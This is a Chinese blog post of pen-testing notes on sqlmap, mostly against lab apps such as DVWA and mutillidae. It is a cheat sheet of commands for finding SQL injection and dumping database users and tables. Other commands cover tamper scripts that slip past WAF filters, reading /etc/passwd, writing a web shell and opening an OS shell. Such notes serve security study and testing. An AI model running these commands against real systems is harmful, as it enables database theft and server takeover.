【渗透测试笔记】之【SQLMap】

初探SQL Map

五种漏洞检测技术

  • 基于布尔的盲注检测
  • 基于时间的盲注检测
  • 基于错误的检测
  • 基于UNION 联合查询的检测
  • 基于堆叠查询的检测

GET

sqlmap -u "http://192.168.2.101/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p username -f

-p:检查哪个参数
-f:检查数据库指纹(fingerprint)
–user:查看数据库的用户
–banner:查看banner 信息
–dbs:查询数据库
–schema:查看元数据库
-a:全查
日志路径:.local/share/sqlmap/output/

  • 如果知道账号密码可以直接连接查询:
sqlmap -d "mysql://user:password@192.168.2.101:3306:dvwa" -f --users
  • 检测多个url
sqlmap -m list.txt --dbs
  • 利用谷歌
sqlmap -g "inurl:\"http:www.test.com\index.php?id=1\""

POST

  • 使用Burp保存请求文件post.txt
sqlmap -r post.txt --dbs
  • 使用Burp 到Project options-Misc-Logging-Proxy-勾选Requests,保存到log.txt
sqlmap -l log.txt

HTTPS

sqlmap -u "URL" --force-ssl

详解

Request

数据段:–data

get/post 都适用

GET:

sqlmap -u "http://192.168.2.102/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p username --dbs

POST:

sqlmap -u "http://192.168.2.101/mutillidae/index.php?page=login.php" --data="username=a&password=a&login-php-submit-button=Login" -f
  • 指定变量分隔符:–param-del
sqlmap -u "http://1.1.1.1/a.php" --data="user=a;password=b" --param-del=";" -f

身份认证

如果想要检查Cookie 中的注入点,level>=2:
–level=2

  • 基于Cookie
sqlmap -u "http://192.168.2.102/dvwa/vulnerabilities/sqli/?id=a&Submit=Submit" --cookie="security=low; PHPSESSID=cbafbc5dfd1dd801b2910c7931e8ba96" --dbs
set-cookie/--drop-set-cookie/-cookie-del
  • 基于HTTP 协议
    Basic/Digest/NTLM
--auth-type Basic/Digest/NTLM --auth-cred "user:pass"
  • 基于客户端证书
--auth-file="ca.PEM"

USER-AGENT

如果想要检查user-agent 中的注入点,level>=3:
–level=3
尽量不要使用默认user-agent,会暴露身份

--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36"
--random-agent

Host:–host

如果想要检查user-agent 中的注入点,level=5:
–level=5

Referer:–referer

如果想要检查user-agent 中的注入点,level>=3:
–level=3

自定义 header:–headers

每个头单独一行(\n)(严格名称区分大小写

--headers="Host:xxx\nUser-Agent:xxx"

指定方法:–method

--method=GET/POST

代理

--proxy="1.1.1.1:8080"
--proxy-cred="name:pass"  # 认证代理(如果需要)
--ignore-proxy  # 忽略系统代理,通常用于扫描本地目标

利用配置文件扫描

sqlmap -c sqlmap.config

Injection

指定或排除注入点(伪静态页面注入方法)

  • 指定注入点:-p
    会使level 失效
-p "user-agent,referer"

对于特殊变量,在变量后加*(伪静态页面注入方法)

sqlmap -u "http://www.test.com/param1/value1*/param2/value2"
  • 排除注入点:–skip
--level=5 --skip="id,user-agent"

指定数据库或系统

用于已经在信息收集时发现了数据库版本或操作系统信息:

--dbms "mysql"
--dbms "mysql <5.0>"
--os="linux"
--os="windows"

使数值失效方法

默认失效方法为取负值,即id=1变为id=-1

  • 大数值失效
--invalid-bignum
  • 布尔失效
--invalid-logical

需要闭合的前后缀

–prefix/–suffix

--prefix"')" --suffix"AND ('a'='a'"

后端sql语句

select * from user where id=('1') <PAYLOAD> AND('a'='a') limit 0,1

绕过应用层过滤、IPS、WAF

脚本路径:/usr/share/sqlmap/tamper/xxx

--tamper="a.py,b.py,c.py"
sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="base64encode.py,randomcase.py"

Detection

扫描等级及风险

  • level
    1-5级(默认1)
  • risk
    1-4(默认1)
    risk升高可能造成数据破坏

盲注时判断依据

–string(包含字符串),–not-string(不包含字符串),–regexp(正则表达式),
–code(响应代码)
–text-only,–titles(title)

Techniques

指定列数

--union-cols 6-9

另一个页面体现出的sql注入

--second-order http://1.1.1.1/b.php

指纹及banner

-f/–fingerprint
–banner

Enumeration

–batch(都执行默认选项)

--hostname  # 主机名

--current-user  # 当前数据库管理账号
--users  # 数据库的所有账号

--privileges  # 查询所有用户权限
--privileges-CU  # 查询当前用户权限
--privileges-U username  # 查询指定用户权限

--current-db  # 查询当前数据库
--dbs  # 查询所有数据库
--exclude-sysdbs  # 不显示系统数据库

-D dvwa --tables  # 查指定数据库的表
-D dvwa -T users --columns  # 查询指定表的字段
-D dvwa -T users --count  # 有多少条记录
-D dvwa -T users --dump  # 查记录
-D dvwa -T users --dump --start 1 --stop 2  # 查询第1,2条

--sql-query "select * from users"  # 自定义sql 语句

Brute force

当无法查看information_schema数据库时,通过暴力破解

--common-tables
--common-columns

微软的ACCESS 数据库无表无列

File system acces

读取文件

--file-read="/etc/passwd"

写文件

--file-write="shell.php" --file-dest"/tmp/shell.php"
# shell.php为本机当前目录文件

Operating system access

获取shell

--os-cmd
--os-shell
--sqlshell

Windows registry access

--reg-read
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
sqlmap -u "http://1.1.1.1/q.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

General

指定保存位置和输出路径

-s  # 会话文件保存位置
-t  # 流量文件保存位置
--output-dir=/tmp

字符编码

--charset=GBK

爬取深度

--crawl=3

自定义保存分割符

--cvs-del=";"

清空session(sqlmap缓存)

--flush-session
--fresh-queries  # 本次重查

HTTPS

--force-ssl

以十六进制传输

--hex

分析报错信息

--parse-errors

Miscellaneous

检查WAF/IPS/IDS和绕过

--check-waf
--identify-waf  # 彻底检查
--hpp  # 对ASP/IIS有效

模拟智能手机

--mobile  # 修改useragent

清空文件夹

purge-output:清除文件

向导方式

sqlmap --wizard
  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值